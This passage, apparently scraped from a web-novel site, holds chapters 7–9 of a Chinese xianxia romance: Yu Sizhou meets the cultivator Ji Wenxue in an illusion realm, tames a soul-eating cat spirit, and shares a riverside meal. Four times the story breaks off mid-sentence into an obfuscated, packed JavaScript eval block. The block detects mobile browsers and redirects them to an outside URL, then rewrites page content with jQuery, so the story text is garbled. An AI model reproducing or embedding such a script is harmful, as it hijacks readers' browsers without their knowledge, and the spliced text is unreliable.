“剑坏了可怎么行?”俞思州随口又接,她一时也没想到这个看起来十分清冷的少年会接话。 她转过头去,撞见那片白玉一样的胸口,又默默地把头扭了回来。 姬闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563633|171434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪见她僵硬的动作,垂头抿唇,随手一挥,清澈的水流便重新化作白衣,遮住了他露出的身躯。 “不悟看到喜欢的人会这样。”他十分自然地顺着上一个话题道,“我替它说一声抱歉。” “原来如此。”俞思州轻轻摸了摸自己的下巴,终于能转回脸去,“没事的,我还没想到我能招一把剑喜欢呢。” 姬闻雪脸上的镇妄敕并未变回金色,还是血一般的赤红,湿漉漉的白发披在周身,此刻,他眉眼带笑,没有之前那种逼人的冷,倒是漂亮的灼人。 “不悟生而有灵,我镇压心魔,它也会受影响,往日它在外会自行抹杀阴灵邪祟,只是不知为何,我今日心魔分外严重,牵连了你。”他垂下眼道,“好像还弄坏了你的鎏金骨……” 俞思州看着他,听他说这一大串,竟然走神差点没听清他在说什么,只好默默移开了眼:“啊……这个……” “是我的罪过,我赔你。”姬闻雪朝她笑。 * 无名的广阔莲池内,各色光华流转。 一样一样的宝物如同流水一般呈到俞思州面前,只要俞思州面上出现了一丝一毫的犹豫,便被它们的主人十分冷酷地换掉,然后呈上的便是更加珍贵的灵器,势必要找出让她眼前一亮的那一件来。 俞思州的双眼看的有点麻木。 她身上现在干爽暖和,端正坐在莲池中央的亭子里,亭中有一石桌二石凳,此刻不仅是石桌上华光闪闪,连亭子外都飘着好几十对灵器灵宝,正排着队等她来挑。 姬闻雪占了另一个凳子,懒懒地倚在石桌上,手指轻轻一挥,一队光芒绚烂的宝贝就踢踏着自己跳到了俞思州眼前。 “这个怎么样?”他指着一只机关弩,看起来莫名有些兴致勃勃,“我记得……是用鲛珠镶的。” 俞思州摇摇头,姬闻雪便顺手一划,那只亮闪闪的机关弩就被无情地扔到了一边。 “那这个?”他将手指轻轻搭在一个打开的锦盒上,看向俞思州。 俞思州已经看不过来了,两眼发直。 鲛珠……千金海市卖多少钱来着……好像是一样价值连城的东西哎…… 原本一根鎏金骨放在外面千金海市也是很贵的东西了,但此人一抬手,一串七彩斑斓的珍玩就像点好的菜一样飘了上来。 “那个……”她抬手,轻轻打断了姬闻雪的动作,道,“这么贵重的……就真的不用了。” 姬闻雪道:“为何?” 俞思州道:“比起这个……我冒昧问一句,道友可有山门?” 若是普通的厉害修士,拿一件两件宝贝出来也是合理的,但这实在是多到让人咂舌了。 姬闻雪趴到桌子上,从交错的臂弯里抬头,满头白发如霜,笑吟吟地看向俞思州,说出一句让她虎躯一震的话:“师门?我师从玉虚太微宫。” 什么宫? “那敢问尊师……”俞思州眉头突突地跳。 “清霄世尊,问心师祖。”他道,“好像外面仙门百家,都唤他世尊师祖。” 7. 世尊师祖 眼前人支腮,面上的笑容却有些狡黠。 俞思州眨眨眼,道:“那可真是……久仰大名。” 她说久仰大名也不是客套话。 现在的仙门百家里,各方面都十分突出的宗门是藏冥山,号称仙道第一,门内弟子如云,高手遍地。 玉虚太微宫向来低调,从不参与仙门俗事,也从不公开招收弟子,他们隔个十年百年,会开坛收学生到宫内修行一段时间,即使如此,依旧拦不住盛名在外。 去玉虚太微宫进修的人选大半由各仙门推荐,每次宫主开坛讲学,仙门就为了这个引荐的名额打的头破血流。 到最后坐到听讲席上的不止有各家寄予厚望的小辈,有时还会有半截子要入土的老家伙。 也能理解,毕竟都耐不住玉虚太微宫里坐镇的是位大神。 清霄世尊,问心师祖。 俞思州也不知道这位尊者的名字,书上从未提过他名姓,仙门里也只呼他的尊号。 他曾一人一剑劈开了魔域外的黑海,力压邪魔阴灵之主,震慑十方凶祟,护佑众生。 不过嘛,世间一安定,他就不再用剑,改道来教书了。 他历经的年月十分漫长,见识极广,教书也教的颇有成效。 当今仙门耳熟能详的豪杰大能,细细追溯,他们少时大都在玉虚太微宫听过这位世尊师祖的课。 俞思州原来那师尊,凌霜君闻漱,曾经也在玉虚太微宫求过学,闻漱手里那把名动天下的灵剑“不染尘”,正是由这位世尊师祖所赠予。 可以说,整个仙门百家都得尊他一声“师祖”。 不过,俞思州心里还是啧啧称奇,都说这位尊者喜静,性子严厉,又冷淡至极,向来形单影只来去无踪,从没有过入室弟子,现在竟然也收了徒,莫不是……年纪大了终于想起要传承自己衣钵了? “外人所言,皆是虚名罢了,不过我赔你灵材,和这个有什么关系,难道……你找他有什么事?”姬闻雪道,言语间带着些好奇的兴味。 “那倒没有。”俞思州摇头,“我只是听过世尊的名号,问道友山门,也是好奇。” 怎么现在到处都是正道山门的弟子,藏冥山也就罢了,连世尊师祖的徒弟都能让她给遇到。 俞思州在心中默默想,要是换到她从前,那可无论如何都要绕着走。 不过,她总觉得姬闻雪好像并没有多尊敬这位世尊师祖。 少顷,只听得清脆的碰撞声,姬闻雪指尖灵巧一挥,桌面上的物件整齐落到一边,然后,他从虚空中取出了一套青玉茶具,并着一盅透明琉璃盏装的泉水。 俞思州已经习惯他这样突然之间掏出什么东西来的举动,于是便看他熟练地煮水泡茶,动作流畅优雅,赏心悦目。 “他闭关去了,没个十年百年的不会出关。”过了会,姬闻雪推过一盏茶来,轻描淡写道。 “要闭关这么久?”俞思州接过茶盏,道。 “是啊,遇到了难以疏解的伤心事,就只好躲起来了。”姬闻雪点头,低头轻啜一口茶水。 他用这个“躲”字,倒是让俞思州觉得有几分失笑。 “看样子,即使到了世尊这样的境界,也会有憾事啊。”她感叹道。 姬闻雪笑着未答,他把手中青玉的茶盖盖回盏上,指尖轻轻敲了敲桌面,转而问她:“茶怎么样?可还合口?” “唔……”俞思州模糊地应了一声,便再抿了几口茶水。 这茶叶一入口,竟然让人意外地觉得身上经脉暖洋洋的。 “我不太懂茶,但这水好像有一股梅花的香气。”她道。 “是梅花露水。”姬闻雪笑起来,托腮看她,“我自己一点点收的。” “原来如此,我从前也学着收过花上露水。”俞思州回忆道,“是件相当麻烦的事。” 她从前会帮闻漱收集花露,灵气弥漫的山间,晨时分外寒凉,她从花树间钻出来的时候一身总是湿淋淋的,衣角有时还会结冰。 不过藏冥山满山种的都是桃花,她倒也从未有机会尝过露水烹茶是什么味道。 “若有心想做,又有什么是麻烦事呢?”姬闻雪笑道。 “说的也是。”俞思州点头,真心实意地赞道,“好喝。” 她心中对这少年有了几分亲切感。 俞思州的目光落在姬闻雪脖间,那暴乱的镇妄敕已经从他脸上往下转移,浮动到了他脖子上,颜色依旧血红,不见一点褪色。 这东西发作起来剧痛无比,她在此多聊这几句,也是怕他再失去心智,但他到现在都面色如常,还能保持清醒和人谈天,想来也没什么事了。 姬闻雪察觉到了她的视线,也不躲不避,反而侧身过来,大大方方地让她看。 “若是担心我的咒痕,我可以起誓,不会让心魔流窜而出,我绝不失信于人。”他道。 “不。”俞思州摇了摇头,“你控制的很好,只是千万记得,不要拔剑伤自己了。” 话音落下,姬闻雪垂下了眼睛。 沉默几息后,他淡淡笑了笑,答:“一定。” “话说回来,我还不知道这是什么地方呢。”俞思州站起身,四处环顾。 “是莲生境,做来镇压心魔的。”姬闻雪站到她身边,垂头看她,“依托不悟而生,以灵剑为引,灵气为底,筑造的幻境。” “幻境?!” “嗯,是幻境。”姬闻雪认真点头。 幻境只能以灵识进入,那她的身体留在原地岂不是要被沈砚清狠狠鞭尸了? 俞思州心里狠颤了一下,但随即,她意识到不对:“可是我那段鎏金骨已经是死物,它哪来的灵识能和我一起进入幻境?” 她现在这一身一体,明明都是真实的。 “哈哈,毕竟是世尊师祖的幻境,总是有特殊之处。”姬闻雪轻快地笑了起来。 “道友,说话可不能大喘气啊。”俞思州看他笑,一下明白他是故意想逗她。 “抱歉。”姬闻雪说,随即一挥手,开口唤道,“不悟、破妄。” 池中两把灵剑便如流星一般飞来,悬停在了他手边。 不悟的温度已经升到了一种匪夷所思的地步,剑身宛如熔金,破妄还是安安静静的,一白一红两把剑,华光流转。 “它现在还这么烫?”俞思州已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563634|171434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉到了不悟剑身上扑面而来的滚烫热度,它身上的煞气已经稍稍收敛了进去,显现出的剑身气质不凡,倒不显得那么妖异了。 但是这样的剑,连握不握的稳都是个问题。 “像你说的,它就是有点问题。”姬闻雪神色如常,他伸手握住不悟,俞思州看着他的手掌一下子被灼伤,血滴下来,黑色的心魔气一下子从剑上缠绕而上,似乎要从伤口潜入他的躯体当中。 即使经过刚才那一遭,心魔仍未被完全镇压,这把剑上还是分担了许多姬闻雪的心魔和煞气。 “你要做什么?”她问道。 “送你出去。”姬闻雪面色不改,道,“不会有事的,难得今日和人喝了茶,我很高兴。” “喝茶而已……你师门里没人来陪你么?”俞思州道。 “没有。”他说,“这么多年,是第一次有人走到这里来。” “是因为心魔?”她问。 姬闻雪只是笑,没有回答她。 “为什么会有这么重的心魔?”俞思州扭过头,看向越发炽烈的不悟。 心魔和煞气刺伤姬闻雪的手掌,鲜血淋漓。 “哎呀……我说不出口。”姬闻雪笑,用手指比在唇间,做了一个噤声的手势。 他叫了俞思州报的假名:“后会有期,俞枕澜。” “后会有期。”俞思州道。 华光一闪,她猛然闭眼,再睁开眼睛的时候,已经不见那寒气凌冽的莲池和那白发的美丽少年。 这是一片无人的山林,旭日初升,风声轻响,俞思州回到了人世。 她低下头去,腰间正正好系着一根品相极好的鎏金骨,和那块腰牌撞在一处,叮叮当当。 这一根好像比她那根要好得多。 “嘶……怎么弄得像是话本子里书生半路遇到艳鬼一样。” 俞思州默默道,她摆弄了一下腰间那鎏金骨,然后,从她的手腕间滑下来一个近乎透明的镯子。 她的手和这镯子的尺寸恰好,镯上雕了极精细的梅花,阳光一照在它上头,显出一泓透亮的水色,像是在手腕间佩了一小捧清澈的湖水。 俞思州抬起手来,看着这镯子愣了一瞬,知道这也是姬闻雪赠予她的东西。 得,更像是话本子里的桥段了。 这个镯子……她看不出来是用什么东西做的,但看姬闻雪的作风,也不会是什么差的料子,大抵是很贵的。 世尊师祖的莲生境是托生在不悟剑身上,她想说句谢谢也找不到这剑的影子,这么一看,只能当做是一场奇遇了。 “哎,人各有路,只能遥祝他平安。”俞思州道,一揣袖子,从山道边上捡了根木棍子用来打草。 接下来她要去找个法坛,顺便炼柄招魂幡。 “咕噜噜——”就在这个时候,她的肚子叫了。 俞思州的脚步定住,揉了揉肚皮。 “天有四时,人有三餐,现在这个点,也是该吃早饭了。”她咕哝道。 非常巧,她侧边的树林里,传来了一阵簌簌声。 俞思州的馒头已经吃完了,她捏着那木棍子看向一边树林深处,目露凶光。 8. 猫 俞思州早年在藏冥山的时候偶尔会去打野鸡野兔,因此这方面的经验还是比较丰富的。 这窸窸窣窣的声音随着她的靠近越发明显,但由于林间草木太过茂盛,俞思州走到一半便把手里的长木棍悄悄戳到一边,两手把衣袖捞起来,准备空手上阵。 轻手轻脚走近了,就能看见小树丛里露出一点圆润的黑色皮毛,小小的一团颤动着,看不见脑袋。 俞思州一时也认不出这是只什么,便猫着腰,小心翼翼控制好脚步和距离。 待她准头十分好地抓住那小小的一团绒毛,随后便听见手底下传出来一声骂:“谁啊!没看见大爷我正在吃饭吗!” 这声音有些尖细,气势汹汹的。 俞思州:“嗯?” 骂骂咧咧的声音还没有停下,她站起身来,皱眉把衣袖一提,定睛一看,发现这嘴里吧唧吧唧边嚼边骂的毛茸茸小玩意,是只黑灰色的猫。 俞思州心说还好刚刚没拿那根棍,不然现在就是惨案了。 此刻,小猫的四只爪子撒开,正正好扒在俞思州衣袖上,幽绿的小圆眼睛死死瞪着她,两只毛茸茸的耳朵直向后撇,一副凶恶的样子。 “看什么看。”它恶声恶气道,好像看出了俞思州脸上那一丝微妙的遗憾。 不知道她在遗憾什么。 “那我不看了,你能不能先把爪子松开呢?”俞思州道,“我只有这一身衣服,要被你抓破了。” “嘁,臭道士,你这破衣服,送我我都不要。”它没好气地命令道,“那你放我下来。” “哎呀,你怕高?” “你才怕高!”它嚷道。 “好说,好说,我马上放你下去啊。” 俞思州嘴上应承,但手上却丝毫没有手软,她一手抱住猫屁屁,另一手飞速揪住了它的后颈皮。 还没等它再骂,俞思州已经提着它,双指扣开它的嘴,把它嘴里咬着的东西扣了出来。 那凉凉的、摸起来像元宵一样的东西滚到她手里,不用多看,这是一团人的魂魄,已经在人间徘徊许久,她的手一碰,不多时就散了。 “吃这个东西可不是好猫哦。”俞思州笑眯眯道。 她手里这只是只猫灵,由人间的猫死后所化。 但猫死后化灵是比较难得的事情,俞思州见过的猫灵生前基本都在仙门里呆过,如果门里有供祖师爷牌位或者给祖师爷塑像的,那么那只经常睡在供桌上或者塑像怀里的猫,不用怀疑,九成九能化灵。 没办法,谁叫人家讨祖师爷喜欢。 那些都是有灵性的猫,死去了也依旧会留在祖师爷身边造福人间,俞思州从没有遇到像眼前这样出来吃人魂魄的。 被她提着后颈皮的猫炸毛了,蹬着腿大喊大叫:“谁说的!我看你也不是什么好人!”随后便是一连串叽里咕噜喵喵嗷嗷。 “听不懂。”俞思州道。 “坏人!” 它被俞思州提着乱踢乱蹬,她岿然不动,只是腰间的鎏金骨被飞了一脚,和那银腰牌一碰,丁零当啷的。 猫灵挣扎间,往下瞟了俞思州往腰上挂的东西一眼。 “这是你的?”它也不挣扎了,用脚爪勾了勾俞思州那块银腰牌,问道。 “不然能是谁的?”俞思州笑。 俞思州便看着它马上安静了下来,好像认识这东西。 随即,它眨了眨圆溜溜的眼睛,道:“那我们都是一伙的嘛,你把我松开,我不计较你把我的饭弄没了。” 俞思州看着它这理直气壮的样子,不免觉得有趣,便侧头笑道:“你说说,我怎么就和你一伙了?” “哎呀……”猫灵一幅我都知道的样子,“你腰上挂那腰牌,这不就摆明了么,早点说啊。” 它毛茸茸的爪子悬空挠了挠,道:“大爷我也是帮典魂斋干活的,我们俩是……同僚!” “原来是同僚啊。” 俞思州点点头,心里暗自寻思。 典魂斋。 这个招牌她从未听过,但从上回那只夜游子数量繁多的阴尸和这只猫灵的行动来看,她推测这是个用来私自收拢人魂的地方。 不让人好好去轮回司点卯,反而把人的魂魄给扣在人间? 噫,邪门。 “哦,我的腰牌在这里了,你的呢?你怎么证明?”俞思州笑道。 “腰牌在管事的那,我也不是管事的啊。”猫灵道,提起这个似乎有点害怕,皱了皱鼻子。 “那你们管事的在哪?”俞思州继续问。 “不知道,你有什么事吗?”猫灵一抬眼睛,有些警惕。 “没事,随便问问。”俞思州见它防备,也不问了,一手托住猫,一手将它抱进怀里。 “你做什么!”它用两只爪子撑住俞思州的肩膀,死活不想靠过去。 “既然是同僚,就暂且结个伴吧,我要去找吃的了,辛苦你和我一起。”俞思州用空余的另一只手拨开草蓬,道。 “吃的分我一半。”它飞快道。 俞思州看它一眼:“我吃人吃的饭。” “我也吃啊。”它不明所以。 “那好吧。”俞思州无奈点头。 这只猫马上舒舒服服地窝进了她怀里,俞思州还感觉到它似乎用前爪在自己肩膀上轻轻踩了几下。 不知道什么原因,俞思州感觉它身上好像有点冷,她想了想,反正自己的衣裳也宽,就用衣袍把它整只兜住了。 她掂了掂它的身体,还是很有份量的,而正常的猫灵因为已经是灵体,会让人感觉不到重量,也不知道它到底是怎么了。 它的两只三角形的耳朵就抵在俞思州下巴边缘,轻轻扑闪一下,有点痒。 然后,她好像听到了猫发出轻微的、咕噜噜的声音。 俞思州一边往前迈步一边想,这样子好像也挺乖的。 就往前走了不多时,还真让她逮住一只野鸡。 “哎,终于有饭吃了。”俞思州道。 她一手抱猫,一手倒提着野鸡,心满意足准备往回走。 “哇。”猫灵在她怀里,已经呆住了。 “怎么了?”俞思州心情颇好。 它有些呆滞地看了一眼对面的大树,刚刚那只野鸡逃窜的时候飞过那里,被俞思州飞出一根树杈子,直接凌空扎在了树干上。 从她手里扔出去的树杈子竟然隐隐带着剑气,可那真的只是一根树杈子,不是修士的灵剑。 野鸡兄暴毙,树杈子拔下来之后,还能看见树干上留下的孔。 “你说你没有修为?”猫灵道。 “对啊,本来就没有。”俞思州顺嘴回。 她现在只是开了个灵脉,修为这玩意当然是没有,倒是在姬闻雪那里喝了两口热茶去了去寒气,现在周身暖和,很有活力,可以多吃一点。 猫沉默了,一时不知道该说什么——她好像完全没有意识到自己这一树杈子飞出去的威力? 俞思州哼着曲子提着早饭转身离开的时候,身后传来了凄凄惨惨的喊声和急促的脚步声。 “等等——我的鸡——”声嘶力竭, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563635|171434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听者落泪。 俞思州转过身去,一个身着蓝衫的少年在此时扑出草丛,脚下被灌木一绊,叽里哇啦摔成一团。 她默默后退一步。 少年抬起头和俞思州对视,两人四目相对,四周煞是安静。 “额,你说的鸡……是这只?” 寂静当中,俞思州提起手里那只鸡扬了扬,问道。 “啊……好像是……”这人好像摔懵了。 “但是现在这是我的鸡,你要吃的话,得再去抓了。”俞思州扬手指了指更深处,义正言辞道。 这时候,有人笑了。 这淡淡的笑声响起的时候,扒在俞思州怀里的猫灵瞬间炸了毛,低头往她怀里把脑袋都藏了起来。 俞思州顺了顺它蓬的像蒲公英似的毛发,便抬眼看见眼前这蓝衫少年身后,还有一个相当眼熟的身影。 此人坐在树梢上,神情散漫,黑发如泼墨,衣衫绛红如血,眉心和琥珀色的左眼下各有一点红痣,面容和那莲池中白发的少年长得如出一辙。 此刻,他正用一只手撑着腮,两眼弯弯。 摔在地上的蓝衫少年灵活地翻了个身坐在地上,仰头对树上那人喊了一句:“高人,鸡没有了,要不我去给你抓别的吧?” 然后,他又站起身来,恭恭敬敬向俞思州行礼:“道友莫怪,我是千机山霜华谷弟子,这只鸡是道友先拿的,自然是归道友处置。” 俞思州点了点头:“没事,那我先走了。” 蓝衫少年道:“啊,道友慢走,路上小心。” 俞思州转身,抬步就走,可也没走出几步路,就听见身后慢悠悠传出来一声:“俞道友。” 不消说,俞思州知道是谁在叫她。 她长长叹了口气,无奈停下步子转过身去,果然,那黑发红衫的少年已经步伐轻快地跟过来,站在她身后。 “你也看上它了?”她提了提手上的野鸡,开玩笑道。 “那倒没有。”他笑道。 “你是姬闻雪本人?还是他的心魔化身?”俞思州问道。 “俞道友觉得呢?”这个黑头发的姬闻雪道。 “我该怎么觉得啊。”俞思州无奈,“你能出莲生境?” “我当然能出来,只是没有人会进莲生境来看我而已。”姬闻雪道。 “哦,那倒是我弄错了。”俞思州眨眨眼。 她还以为他是被锁在莲生境里了,不过那么危险的心魔,会被锁在里面也不是难以理解的事情……可能世尊师祖他老人家有他自己的考虑。 “你把两只手展开。”俞思州道。 姬闻雪也没问她为何突然吩咐,就听她的,伸开了手臂。 “原地转两圈,我看看。”她道。 姬闻雪乖乖原地转圈。 他脖子上能看见的镇妄敕已经消退了,样貌和他白发时没有差别,只是换了个发色,但是乍看起来,黑发的姬闻雪比白发的姬闻雪确实要凭空多出几分妖异的气质。 “高人,你和这位道友认识?”那蓝衫少年期期艾艾地蹭过来,问姬闻雪。 姬闻雪没有作声,原本俞思州还想看他怎么说,既然他不答话,她只好先说:“嗯,刚好遇到,是朋友。” “啊,那……道长肯定也知道一些黑太岁的事吧!”这蓝衫少年双眼一下放光,“请帮帮我,道长,我要去黑太岁留下的那个古祭坛!” 黑……太岁? 俞思州有些迷茫。 但就是这个时候,蜷缩在她怀里的猫狠狠地抖了一下。 9. 日话 抖一下还不够,她甚至觉得有点冷,冷气来源就是它。 嗯? 俞思州把手上的鸡往地上一放,揣起袖子,伸手去摸。 她之前的感觉好像没错,猫灵的身躯温度在飞速地凉下去,她摸到它的瞬间就感觉到了冰冷,那毛茸茸的身躯上像是盖了一层冰。 她想要把衣裳拉开,看看到底怎么了,但它死死抓着她的衣服不放,似乎并不想被人看见。 俞思州有些无奈,她如果强行拉开,衣裳估计真保不住了。 那蓝衫少年就这样看着俞思州和怀里的那一小坨布包呼哧呼哧地比力气,他眨了眨眼睛,好奇道:“道长,这是怎么了?” 俞思州对他摆了摆手:“没事,我带了只猫,它可能有点怕人。” “是猫啊。”少年道,“有些猫确实会怕人。” 俞思州干笑,她手上这只应该不是因为怕人。 她能很明显地感觉到肚皮上的冰凉,这猫灵已经活生生抖成了一个筛糠。 一边的姬闻雪在这个时候优哉游哉地开口了。 “张小霜。”他道。 “高人?”蓝衫少年转头应道。 “去那边吧。”姬闻雪头都没转,随手指了一个方向。 “嗯?嗯!” 俞思州看着这个叫张小霜的少年只疑惑了一下,就转过身,十分欢快地朝姬闻雪指的方向跑了过去。 他的脚程很快,一下子就蹿没了影。 “那边有什么?”俞思州问。 “那边野果多一些,他能多些果子吃。”姬闻雪笑道。 哦,原来是叫张小霜自己去找吃的。 随即,她看见姬闻雪非常自然地弯腰,提起了放地上的野鸡。 “你会弄这个吗?”俞思州有些好奇。 姬闻雪看起来显然是那种十指不沾阳春水的贵公子,要他杀鸡……可能有点难度。 她有点担心这只鸡。 “会。”姬闻雪点头,“那边有河,我在河边等俞道友了。” 他说他会,俞思州松了口气。 “那我先道谢了。”她道,“过会就来找你。” “嗯,要吃烤的,还是喝汤?”他问。 俞思州倒是没想到还能选菜色,想了想便道:“煮汤没有容器,还是很麻烦的,烤的更方便一些。” “好。”姬闻雪点头。 他转过身去,朝着刚才给张小霜指路的反方向走,俞思州看他稳稳当当的背影觉得应该没问题。 等到两个人都离去,她才感觉到怀里这只猫平静了不少。 她一边伸手去掏猫,一边对它道:“你怎么了?” 猫不答,只是一味地抓紧了她的衣裳。 “说话。”她隔着衣服拍了拍它。 “……”它沉默了一阵,然后,俞思州听到了它的声音。 “我这是……催你赶紧跑。”它说,似乎有些郁闷。 “我要跑什么?”俞思州问。 “那两个都不好惹啊。”猫灵说,“但蓝色的看起来很好吃,红色的实在太凶了。” 蓝色的是指张小霜,红色的那就是姬闻雪了。 凶?倒没有特别凶吧? “这可不能吃。”俞思州道,“不过没事,红色的那个不会对你怎么样的。” “你怎么知道他不会对我怎么样?”它拉长音调说,“不过他们是正派修士吧?不知道你是邪修?你竟然和正派能当朋友。” 俞思州一时语塞。 她和姬闻雪这之前也就见过一次,但确实还挺投缘的,不过姬闻雪不知道她是邪修。 她想了想,便道:“毕竟职业和生活还是要分开的。” “虚伪。”猫灵评道。 “哎,才没有。”她道,“你是怎么看出来我是邪修的?” “看你的魂魄就知道啊,你修过邪,而且很招阴灵喜欢。”它说,“你的魂魄看起来也很好吃哦。” “原来如此。”俞思州道,“后面那一句可以不用告诉我。” 她终于能把这只猫从衣裳里剥出来了,沉甸甸的一只,她一只手抱着甚至稍有吃力了。 她觉得不对劲,这才过了多久,这猫本来没这么重。 “古祭坛的事你就别去掺和啦,和你又没关系。”它伸了一个懒腰道,“看你也是个没修为的,就让他们两个比较好吃的正派去送菜吧。” “哦?”俞思州眯眼,“细说?” “因为我们管事的在那。”猫灵道,“听说最近有一把赤红色的魔剑在追杀聚魂的阴灵和妖鬼,这你知道吧。” 赤红色的魔剑?姬闻雪那把不悟? 俞思州点了点头:“这我知道。” “这把魔剑杀了挺多的阴灵和妖鬼,但是它找不到我们管事的,就是因为这个祭坛。”猫灵得意洋洋道,“那里有很多、很多的魂,像天上的星星一样。” 随即,它又嫌弃俞思州:“你要像我们管事的一样努力修炼,炼化更多阴灵气,你身上的阴灵气都没了,怎么当邪修。” “当邪修其实也挺不容易的……不过我会努力的。”俞思州道,不动声色地用上两只手拢住了猫灵,堵死了它逃跑的路。 “对对对,加油。”它喋喋不休。 “其实我还有一个问题。”终于,俞思州道。 “什么问题?” “你是不是偷吃了我的鎏金骨?” “呃……” 一人一猫对视,人脸上带笑,猫十分心虚。 它也不说话了,眼睛往边上瞥就是不看俞思州,俞思州一挑眉,它就露出一副湿漉漉的可怜小表情来:“舔了……一下,就一下。” 那估计得吃了好几口了。 俞思州看向自己腰间的鎏金骨,果不其然,不知道在什么时候,它背面已经印了好几个圆圆的齿痕,还有几个猫的犬齿留下的小洞。 所幸只是吸了灵气,鎏金骨并没有损失多少。 “看不出来,你的舌头还长牙。”她道。 一下子重了这么多,这几口啃上去看来还是挺滋补的,刚刚冻成那样,估计是因为这根鎏金骨在世尊师祖的莲池水里泡过。 “我我我、我实在有点饿,谁让你抢我饭吃。”它心虚道。 俞思州不语,从一边捡起了一根木棍。 “啊呜——你不要杀我——” 它叫道,剧烈挣扎起来,俞思州把木棍戳到它脖边上,它就像被掐住了嗓子,不敢动也不敢出声了。 “偷吃别人东西,这种时候应该说什么?”俞思州眯眼。 “不要杀我——” “错了,重说。” “呜呜呜。”它抽抽噎噎,“对不起。” “你保证你以后做一只正经猫,不偷不抢不吃魂魄。”俞思州严肃道。 “我以后一定改邪归正不偷不抢不吃魂魄。”猫灵语速飞快,呜呜咽咽地说,“我也就抓到一次魂魄,还没吃就被你弄散了。” 俞思州倒不知道还有这一茬,心头一松,心说那还有的救。 “那也不能动这样的念头。”她道。 “为什么?” “你是只猫灵,不是阴灵邪祟,能活的自如一点,如果吃了魂魄,可就回不去了。”她说。 不管是阴灵邪物还是修士,若食人魂,都会功力大增,但这也是有代价的。 做了这样的事,即使没有被正道灭杀,最后都会引来天雷,这雷躲是躲不掉的,会追着人劈,被劈了之后,任你多猖狂,最后都得身死魂消。 “哦。”它半知半解,“我反正是从管事的手里出来的,也过得挺自由的。” “傻猫。”俞思州把手里的木棍往边上一扔,把猫放到地上,笑了笑道,“记住就行了。” “你不杀我了?”它问,“也不介意我咬你的鎏金骨?” “你说了你要做一只好猫,我不对好人好猫动手。”俞思州转身往河边走,一边道,“我没说不介意鎏金骨,你既然是从那祭坛里出来的,那就麻烦你给我带个路。” “你要去啊。”它急急地跟上来,道。 “嗯,去看看。”俞思州平静道,“你有名字吗?” “有啊,小双。”它道。 俞思州微妙地顿了一下:“哪个双字?” “一顿吃两碗的双。”它道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563636|171434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那你挺能吃的。”俞思州笑了。 随即,一阵淡淡的食物香气勾住了她的鼻子。 河边,水声淙淙,被碎石头围了一圈的火焰跳动着,火上架着一口小锅,鸡汤香气翻滚,而姬闻雪本人则坐在石头上,正拨弄着串在火旁烤的半边鸡肉。 俞思州只说要烤的,但他竟然两种都做了。 “好香。”俞思州在闻到香味的时候就有些迷糊了。 她像梦游一般走到姬闻雪边上,就见姬闻雪原本没什么表情的脸露出了淡淡的笑容,他伸手给俞思州递来一碗汤,她恍恍惚惚地接过。 是凉过的鸡汤,配了瓷勺,现在的温度刚好入口。 “尝尝看?”他道。 “他刚刚明明就是一幅能冻死人的表情……”小双顺着俞思州的脚跟一路爬到她的肩头,在她耳边小声道。 它垂下来的尾巴被俞思州拉了拉,示意它不要乱说话。 “喵。”小双终于还是像普通猫一样,喵了一声,从她肩头上跳了下去。 俞思州喝了一口汤,暖意下肚,身心熨帖。 她赞道:“好喝。” “合心意就好。”姬闻雪把分好的一小碗汤推到了小双面前,然后又往火堆里加了一些柴火。 灵体其实吃不进食物,但是可以尝到味道,俞思州看见它伸舌头舔了一下,随即一顿,然后便把脑袋埋了下去。 看样子也挺合它口味的。 俞思州手里的碗已经不知不觉空了,姬闻雪把烤好的肉又放到了她手里,顺手取走了她的碗。 这一切发生的十分自然,她感觉姬闻雪像是做习惯了这些一样,那他在师门里应该也是个会照顾师兄弟的乖小孩? 想到这,她把手里的肉递回给了他,义正严词道:“你吃吧。” “嗯?”他接过去,挑眉,“怎么了?” “总不能你一直在旁边看我吃吧。”俞思州把肉塞给他,又道,“哦,还有这个。” 她露出自己手腕上的镯子,火光映照,一泓水色潋滟,让人移不开眼。 